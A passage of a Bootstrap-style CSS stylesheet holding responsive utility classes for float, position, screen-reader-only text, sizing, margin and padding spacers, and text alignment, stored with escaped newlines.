!important;\n        align-content: stretch !important;\n  }\n  .align-self-xl-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-xl-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-xl-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-xl-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-xl-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-xl-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n.float-left {\n  float: left !important;\n}\n\n.float-right {\n  float: right !important;\n}\n\n.float-none {\n  float: none !important;\n}\n\n@media (min-width: 576px) {\n  .float-sm-left {\n    float: left !important;\n  }\n  .float-sm-right {\n    float: right !important;\n  }\n  .float-sm-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .float-md-left {\n    float: left !important;\n  }\n  .float-md-right {\n    float: right !important;\n  }\n  .float-md-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .float-lg-left {\n    float: left !important;\n  }\n  .float-lg-right {\n    float: right !important;\n  }\n  .float-lg-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .float-xl-left {\n    float: left !important;\n  }\n  .float-xl-right {\n    float: right !important;\n  }\n  .float-xl-none {\n    float: none !important;\n  }\n}\n\n.position-static {\n  position: static !important;\n}\n\n.position-relative {\n  position: relative !important;\n}\n\n.position-absolute {\n  position: absolute !important;\n}\n\n.position-fixed {\n  position: fixed !important;\n}\n\n.position-sticky {\n  position: -webkit-sticky !important;\n  position: sticky !important;\n}\n\n.fixed-top {\n  position: fixed;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n.fixed-bottom {\n  position: fixed;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n@supports ((position: -webkit-sticky) or (position: sticky)) {\n  .sticky-top {\n    position: -webkit-sticky;\n    position: sticky;\n    top: 0;\n    z-index: 1020;\n  }\n}\n\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  white-space: nowrap;\n  -webkit-clip-path: inset(50%);\n          clip-path: inset(50%);\n  border: 0;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  overflow: visible;\n  clip: auto;\n  white-space: normal;\n  -webkit-clip-path: none;\n          clip-path: none;\n}\n\n.w-25 {\n  width: 25% !important;\n}\n\n.w-50 {\n  width: 50% !important;\n}\n\n.w-75 {\n  width: 75% !important;\n}\n\n.w-100 {\n  width: 100% !important;\n}\n\n.h-25 {\n  height: 25% !important;\n}\n\n.h-50 {\n  height: 50% !important;\n}\n\n.h-75 {\n  height: 75% !important;\n}\n\n.h-100 {\n  height: 100% !important;\n}\n\n.mw-100 {\n  max-width: 100% !important;\n}\n\n.mh-100 {\n  max-height: 100% !important;\n}\n\n.m-0 {\n  margin: 0 !important;\n}\n\n.mt-0,\n.my-0 {\n  margin-top: 0 !important;\n}\n\n.mr-0,\n.mx-0 {\n  margin-right: 0 !important;\n}\n\n.mb-0,\n.my-0 {\n  margin-bottom: 0 !important;\n}\n\n.ml-0,\n.mx-0 {\n  margin-left: 0 !important;\n}\n\n.m-1 {\n  margin: 0.25rem !important;\n}\n\n.mt-1,\n.my-1 {\n  margin-top: 0.25rem !important;\n}\n\n.mr-1,\n.mx-1 {\n  margin-right: 0.25rem !important;\n}\n\n.mb-1,\n.my-1 {\n  margin-bottom: 0.25rem !important;\n}\n\n.ml-1,\n.mx-1 {\n  margin-left: 0.25rem !important;\n}\n\n.m-2 {\n  margin: 0.5rem !important;\n}\n\n.mt-2,\n.my-2 {\n  margin-top: 0.5rem !important;\n}\n\n.mr-2,\n.mx-2 {\n  margin-right: 0.5rem !important;\n}\n\n.mb-2,\n.my-2 {\n  margin-bottom: 0.5rem !important;\n}\n\n.ml-2,\n.mx-2 {\n  margin-left: 0.5rem !important;\n}\n\n.m-3 {\n  margin: 1rem !important;\n}\n\n.mt-3,\n.my-3 {\n  margin-top: 1rem !important;\n}\n\n.mr-3,\n.mx-3 {\n  margin-right: 1rem !important;\n}\n\n.mb-3,\n.my-3 {\n  margin-bottom: 1rem !important;\n}\n\n.ml-3,\n.mx-3 {\n  margin-left: 1rem !important;\n}\n\n.m-4 {\n  margin: 1.5rem !important;\n}\n\n.mt-4,\n.my-4 {\n  margin-top: 1.5rem !important;\n}\n\n.mr-4,\n.mx-4 {\n  margin-right: 1.5rem !important;\n}\n\n.mb-4,\n.my-4 {\n  margin-bottom: 1.5rem !important;\n}\n\n.ml-4,\n.mx-4 {\n  margin-left: 1.5rem !important;\n}\n\n.m-5 {\n  margin: 3rem !important;\n}\n\n.mt-5,\n.my-5 {\n  margin-top: 3rem !important;\n}\n\n.mr-5,\n.mx-5 {\n  margin-right: 3rem !important;\n}\n\n.mb-5,\n.my-5 {\n  margin-bottom: 3rem !important;\n}\n\n.ml-5,\n.mx-5 {\n  margin-left: 3rem !important;\n}\n\n.p-0 {\n  padding: 0 !important;\n}\n\n.pt-0,\n.py-0 {\n  padding-top: 0 !important;\n}\n\n.pr-0,\n.px-0 {\n  padding-right: 0 !important;\n}\n\n.pb-0,\n.py-0 {\n  padding-bottom: 0 !important;\n}\n\n.pl-0,\n.px-0 {\n  padding-left: 0 !important;\n}\n\n.p-1 {\n  padding: 0.25rem !important;\n}\n\n.pt-1,\n.py-1 {\n  padding-top: 0.25rem !important;\n}\n\n.pr-1,\n.px-1 {\n  padding-right: 0.25rem !important;\n}\n\n.pb-1,\n.py-1 {\n  padding-bottom: 0.25rem !important;\n}\n\n.pl-1,\n.px-1 {\n  padding-left: 0.25rem !important;\n}\n\n.p-2 {\n  padding: 0.5rem !important;\n}\n\n.pt-2,\n.py-2 {\n  padding-top: 0.5rem !important;\n}\n\n.pr-2,\n.px-2 {\n  padding-right: 0.5rem !important;\n}\n\n.pb-2,\n.py-2 {\n  padding-bottom: 0.5rem !important;\n}\n\n.pl-2,\n.px-2 {\n  padding-left: 0.5rem !important;\n}\n\n.p-3 {\n  padding: 1rem !important;\n}\n\n.pt-3,\n.py-3 {\n  padding-top: 1rem !important;\n}\n\n.pr-3,\n.px-3 {\n  padding-right: 1rem !important;\n}\n\n.pb-3,\n.py-3 {\n  padding-bottom: 1rem !important;\n}\n\n.pl-3,\n.px-3 {\n  padding-left: 1rem !important;\n}\n\n.p-4 {\n  padding: 1.5rem !important;\n}\n\n.pt-4,\n.py-4 {\n  padding-top: 1.5rem !important;\n}\n\n.pr-4,\n.px-4 {\n  padding-right: 1.5rem !important;\n}\n\n.pb-4,\n.py-4 {\n  padding-bottom: 1.5rem !important;\n}\n\n.pl-4,\n.px-4 {\n  padding-left: 1.5rem !important;\n}\n\n.p-5 {\n  padding: 3rem !important;\n}\n\n.pt-5,\n.py-5 {\n  padding-top: 3rem !important;\n}\n\n.pr-5,\n.px-5 {\n  padding-right: 3rem !important;\n}\n\n.pb-5,\n.py-5 {\n  padding-bottom: 3rem !important;\n}\n\n.pl-5,\n.px-5 {\n  padding-left: 3rem !important;\n}\n\n.m-auto {\n  margin: auto !important;\n}\n\n.mt-auto,\n.my-auto {\n  margin-top: auto !important;\n}\n\n.mr-auto,\n.mx-auto {\n  margin-right: auto !important;\n}\n\n.mb-auto,\n.my-auto {\n  margin-bottom: auto !important;\n}\n\n.ml-auto,\n.mx-auto {\n  margin-left: auto !important;\n}\n\n@media (min-width: 576px) {\n  .m-sm-0 {\n    margin: 0 !important;\n  }\n  .mt-sm-0,\n  .my-sm-0 {\n    margin-top: 0 !important;\n  }\n  .mr-sm-0,\n  .mx-sm-0 {\n    margin-right: 0 !important;\n  }\n  .mb-sm-0,\n  .my-sm-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-sm-0,\n  .mx-sm-0 {\n    margin-left: 0 !important;\n  }\n  .m-sm-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-sm-1,\n  .my-sm-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-sm-1,\n  .mx-sm-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-sm-1,\n  .my-sm-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-sm-1,\n  .mx-sm-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-sm-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-sm-2,\n  .my-sm-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-sm-2,\n  .mx-sm-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-sm-2,\n  .my-sm-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-sm-2,\n  .mx-sm-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-sm-3 {\n    margin: 1rem !important;\n  }\n  .mt-sm-3,\n  .my-sm-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-sm-3,\n  .mx-sm-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-sm-3,\n  .my-sm-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-sm-3,\n  .mx-sm-3 {\n    margin-left: 1rem !important;\n  }\n  .m-sm-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-sm-4,\n  .my-sm-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-sm-4,\n  .mx-sm-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-sm-4,\n  .my-sm-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-sm-4,\n  .mx-sm-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-sm-5 {\n    margin: 3rem !important;\n  }\n  .mt-sm-5,\n  .my-sm-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-sm-5,\n  .mx-sm-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-sm-5,\n  .my-sm-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-sm-5,\n  .mx-sm-5 {\n    margin-left: 3rem !important;\n  }\n  .p-sm-0 {\n    padding: 0 !important;\n  }\n  .pt-sm-0,\n  .py-sm-0 {\n    padding-top: 0 !important;\n  }\n  .pr-sm-0,\n  .px-sm-0 {\n    padding-right: 0 !important;\n  }\n  .pb-sm-0,\n  .py-sm-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-sm-0,\n  .px-sm-0 {\n    padding-left: 0 !important;\n  }\n  .p-sm-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-sm-1,\n  .py-sm-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-sm-1,\n  .px-sm-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-sm-1,\n  .py-sm-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-sm-1,\n  .px-sm-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-sm-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-sm-2,\n  .py-sm-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-sm-2,\n  .px-sm-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-sm-2,\n  .py-sm-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-sm-2,\n  .px-sm-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-sm-3 {\n    padding: 1rem !important;\n  }\n  .pt-sm-3,\n  .py-sm-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-sm-3,\n  .px-sm-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-sm-3,\n  .py-sm-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-sm-3,\n  .px-sm-3 {\n    padding-left: 1rem !important;\n  }\n  .p-sm-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-sm-4,\n  .py-sm-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-sm-4,\n  .px-sm-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-sm-4,\n  .py-sm-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-sm-4,\n  .px-sm-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-sm-5 {\n    padding: 3rem !important;\n  }\n  .pt-sm-5,\n  .py-sm-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-sm-5,\n  .px-sm-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-sm-5,\n  .py-sm-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-sm-5,\n  .px-sm-5 {\n    padding-left: 3rem !important;\n  }\n  .m-sm-auto {\n    margin: auto !important;\n  }\n  .mt-sm-auto,\n  .my-sm-auto {\n    margin-top: auto !important;\n  }\n  .mr-sm-auto,\n  .mx-sm-auto {\n    margin-right: auto !important;\n  }\n  .mb-sm-auto,\n  .my-sm-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-sm-auto,\n  .mx-sm-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .m-md-0 {\n    margin: 0 !important;\n  }\n  .mt-md-0,\n  .my-md-0 {\n    margin-top: 0 !important;\n  }\n  .mr-md-0,\n  .mx-md-0 {\n    margin-right: 0 !important;\n  }\n  .mb-md-0,\n  .my-md-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-md-0,\n  .mx-md-0 {\n    margin-left: 0 !important;\n  }\n  .m-md-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-md-1,\n  .my-md-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-md-1,\n  .mx-md-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-md-1,\n  .my-md-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-md-1,\n  .mx-md-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-md-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-md-2,\n  .my-md-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-md-2,\n  .mx-md-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-md-2,\n  .my-md-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-md-2,\n  .mx-md-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-md-3 {\n    margin: 1rem !important;\n  }\n  .mt-md-3,\n  .my-md-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-md-3,\n  .mx-md-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-md-3,\n  .my-md-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-md-3,\n  .mx-md-3 {\n    margin-left: 1rem !important;\n  }\n  .m-md-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-md-4,\n  .my-md-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-md-4,\n  .mx-md-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-md-4,\n  .my-md-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-md-4,\n  .mx-md-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-md-5 {\n    margin: 3rem !important;\n  }\n  .mt-md-5,\n  .my-md-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-md-5,\n  .mx-md-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-md-5,\n  .my-md-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-md-5,\n  .mx-md-5 {\n    margin-left: 3rem !important;\n  }\n  .p-md-0 {\n    padding: 0 !important;\n  }\n  .pt-md-0,\n  .py-md-0 {\n    padding-top: 0 !important;\n  }\n  .pr-md-0,\n  .px-md-0 {\n    padding-right: 0 !important;\n  }\n  .pb-md-0,\n  .py-md-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-md-0,\n  .px-md-0 {\n    padding-left: 0 !important;\n  }\n  .p-md-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-md-1,\n  .py-md-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-md-1,\n  .px-md-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-md-1,\n  .py-md-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-md-1,\n  .px-md-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-md-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-md-2,\n  .py-md-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-md-2,\n  .px-md-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-md-2,\n  .py-md-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-md-2,\n  .px-md-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-md-3 {\n    padding: 1rem !important;\n  }\n  .pt-md-3,\n  .py-md-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-md-3,\n  .px-md-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-md-3,\n  .py-md-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-md-3,\n  .px-md-3 {\n    padding-left: 1rem !important;\n  }\n  .p-md-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-md-4,\n  .py-md-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-md-4,\n  .px-md-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-md-4,\n  .py-md-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-md-4,\n  .px-md-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-md-5 {\n    padding: 3rem !important;\n  }\n  .pt-md-5,\n  .py-md-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-md-5,\n  .px-md-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-md-5,\n  .py-md-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-md-5,\n  .px-md-5 {\n    padding-left: 3rem !important;\n  }\n  .m-md-auto {\n    margin: auto !important;\n  }\n  .mt-md-auto,\n  .my-md-auto {\n    margin-top: auto !important;\n  }\n  .mr-md-auto,\n  .mx-md-auto {\n    margin-right: auto !important;\n  }\n  .mb-md-auto,\n  .my-md-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-md-auto,\n  .mx-md-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .m-lg-0 {\n    margin: 0 !important;\n  }\n  .mt-lg-0,\n  .my-lg-0 {\n    margin-top: 0 !important;\n  }\n  .mr-lg-0,\n  .mx-lg-0 {\n    margin-right: 0 !important;\n  }\n  .mb-lg-0,\n  .my-lg-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-lg-0,\n  .mx-lg-0 {\n    margin-left: 0 !important;\n  }\n  .m-lg-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-lg-1,\n  .my-lg-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-lg-1,\n  .mx-lg-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-lg-1,\n  .my-lg-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-lg-1,\n  .mx-lg-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-lg-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-lg-2,\n  .my-lg-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-lg-2,\n  .mx-lg-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-lg-2,\n  .my-lg-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-lg-2,\n  .mx-lg-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-lg-3 {\n    margin: 1rem !important;\n  }\n  .mt-lg-3,\n  .my-lg-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-lg-3,\n  .mx-lg-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-lg-3,\n  .my-lg-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-lg-3,\n  .mx-lg-3 {\n    margin-left: 1rem !important;\n  }\n  .m-lg-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-lg-4,\n  .my-lg-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-lg-4,\n  .mx-lg-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-lg-4,\n  .my-lg-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-lg-4,\n  .mx-lg-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-lg-5 {\n    margin: 3rem !important;\n  }\n  .mt-lg-5,\n  .my-lg-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-lg-5,\n  .mx-lg-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-lg-5,\n  .my-lg-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-lg-5,\n  .mx-lg-5 {\n    margin-left: 3rem !important;\n  }\n  .p-lg-0 {\n    padding: 0 !important;\n  }\n  .pt-lg-0,\n  .py-lg-0 {\n    padding-top: 0 !important;\n  }\n  .pr-lg-0,\n  .px-lg-0 {\n    padding-right: 0 !important;\n  }\n  .pb-lg-0,\n  .py-lg-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-lg-0,\n  .px-lg-0 {\n    padding-left: 0 !important;\n  }\n  .p-lg-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-lg-1,\n  .py-lg-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-lg-1,\n  .px-lg-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-lg-1,\n  .py-lg-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-lg-1,\n  .px-lg-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-lg-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-lg-2,\n  .py-lg-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-lg-2,\n  .px-lg-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-lg-2,\n  .py-lg-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-lg-2,\n  .px-lg-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-lg-3 {\n    padding: 1rem !important;\n  }\n  .pt-lg-3,\n  .py-lg-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-lg-3,\n  .px-lg-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-lg-3,\n  .py-lg-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-lg-3,\n  .px-lg-3 {\n    padding-left: 1rem !important;\n  }\n  .p-lg-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-lg-4,\n  .py-lg-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-lg-4,\n  .px-lg-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-lg-4,\n  .py-lg-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-lg-4,\n  .px-lg-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-lg-5 {\n    padding: 3rem !important;\n  }\n  .pt-lg-5,\n  .py-lg-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-lg-5,\n  .px-lg-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-lg-5,\n  .py-lg-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-lg-5,\n  .px-lg-5 {\n    padding-left: 3rem !important;\n  }\n  .m-lg-auto {\n    margin: auto !important;\n  }\n  .mt-lg-auto,\n  .my-lg-auto {\n    margin-top: auto !important;\n  }\n  .mr-lg-auto,\n  .mx-lg-auto {\n    margin-right: auto !important;\n  }\n  .mb-lg-auto,\n  .my-lg-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-lg-auto,\n  .mx-lg-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .m-xl-0 {\n    margin: 0 !important;\n  }\n  .mt-xl-0,\n  .my-xl-0 {\n    margin-top: 0 !important;\n  }\n  .mr-xl-0,\n  .mx-xl-0 {\n    margin-right: 0 !important;\n  }\n  .mb-xl-0,\n  .my-xl-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-xl-0,\n  .mx-xl-0 {\n    margin-left: 0 !important;\n  }\n  .m-xl-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-xl-1,\n  .my-xl-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-xl-1,\n  .mx-xl-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-xl-1,\n  .my-xl-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-xl-1,\n  .mx-xl-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-xl-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-xl-2,\n  .my-xl-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-xl-2,\n  .mx-xl-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-xl-2,\n  .my-xl-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-xl-2,\n  .mx-xl-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-xl-3 {\n    margin: 1rem !important;\n  }\n  .mt-xl-3,\n  .my-xl-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-xl-3,\n  .mx-xl-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-xl-3,\n  .my-xl-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-xl-3,\n  .mx-xl-3 {\n    margin-left: 1rem !important;\n  }\n  .m-xl-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-xl-4,\n  .my-xl-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-xl-4,\n  .mx-xl-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-xl-4,\n  .my-xl-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-xl-4,\n  .mx-xl-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-xl-5 {\n    margin: 3rem !important;\n  }\n  .mt-xl-5,\n  .my-xl-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-xl-5,\n  .mx-xl-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-xl-5,\n  .my-xl-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-xl-5,\n  .mx-xl-5 {\n    margin-left: 3rem !important;\n  }\n  .p-xl-0 {\n    padding: 0 !important;\n  }\n  .pt-xl-0,\n  .py-xl-0 {\n    padding-top: 0 !important;\n  }\n  .pr-xl-0,\n  .px-xl-0 {\n    padding-right: 0 !important;\n  }\n  .pb-xl-0,\n  .py-xl-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-xl-0,\n  .px-xl-0 {\n    padding-left: 0 !important;\n  }\n  .p-xl-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-xl-1,\n  .py-xl-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-xl-1,\n  .px-xl-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-xl-1,\n  .py-xl-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-xl-1,\n  .px-xl-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-xl-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-xl-2,\n  .py-xl-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-xl-2,\n  .px-xl-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-xl-2,\n  .py-xl-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-xl-2,\n  .px-xl-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-xl-3 {\n    padding: 1rem !important;\n  }\n  .pt-xl-3,\n  .py-xl-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-xl-3,\n  .px-xl-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-xl-3,\n  .py-xl-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-xl-3,\n  .px-xl-3 {\n    padding-left: 1rem !important;\n  }\n  .p-xl-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-xl-4,\n  .py-xl-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-xl-4,\n  .px-xl-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-xl-4,\n  .py-xl-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-xl-4,\n  .px-xl-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-xl-5 {\n    padding: 3rem !important;\n  }\n  .pt-xl-5,\n  .py-xl-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-xl-5,\n  .px-xl-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-xl-5,\n  .py-xl-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-xl-5,\n  .px-xl-5 {\n    padding-left: 3rem !important;\n  }\n  .m-xl-auto {\n    margin: auto !important;\n  }\n  .mt-xl-auto,\n  .my-xl-auto {\n    margin-top: auto !important;\n  }\n  .mr-xl-auto,\n  .mx-xl-auto {\n    margin-right: auto !important;\n  }\n  .mb-xl-auto,\n  .my-xl-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-xl-auto,\n  .mx-xl-auto {\n    margin-left: auto !important;\n  }\n}\n\n.text-justify {\n  text-align: justify !important;\n}\n\n.text-nowrap {\n  white-space: nowrap !important;\n}\n\n.text-truncate {\n  overflow: hidden;\n  -o-text-overflow: ellipsis;\n     text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.text-left {\n  text-align: left !important;\n}\n\n.text-right {\n  text-align: right !important;\n}\n\n.text-center {\n  text-align: center !important;\n}\n\n@media (min-width: 576px) {\n  .text-sm-left {\n    text-align: left !important;\n  }\n  .text-sm-right {\n    text-align: right !important;\n  }\n  .text-sm-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .text-md-left {\n    text-align: left !important;\n  }\n  .text-md-right {\n    text-align: right !important;\n  }\n  .text-md-center {\n    text-align: center !important;\n  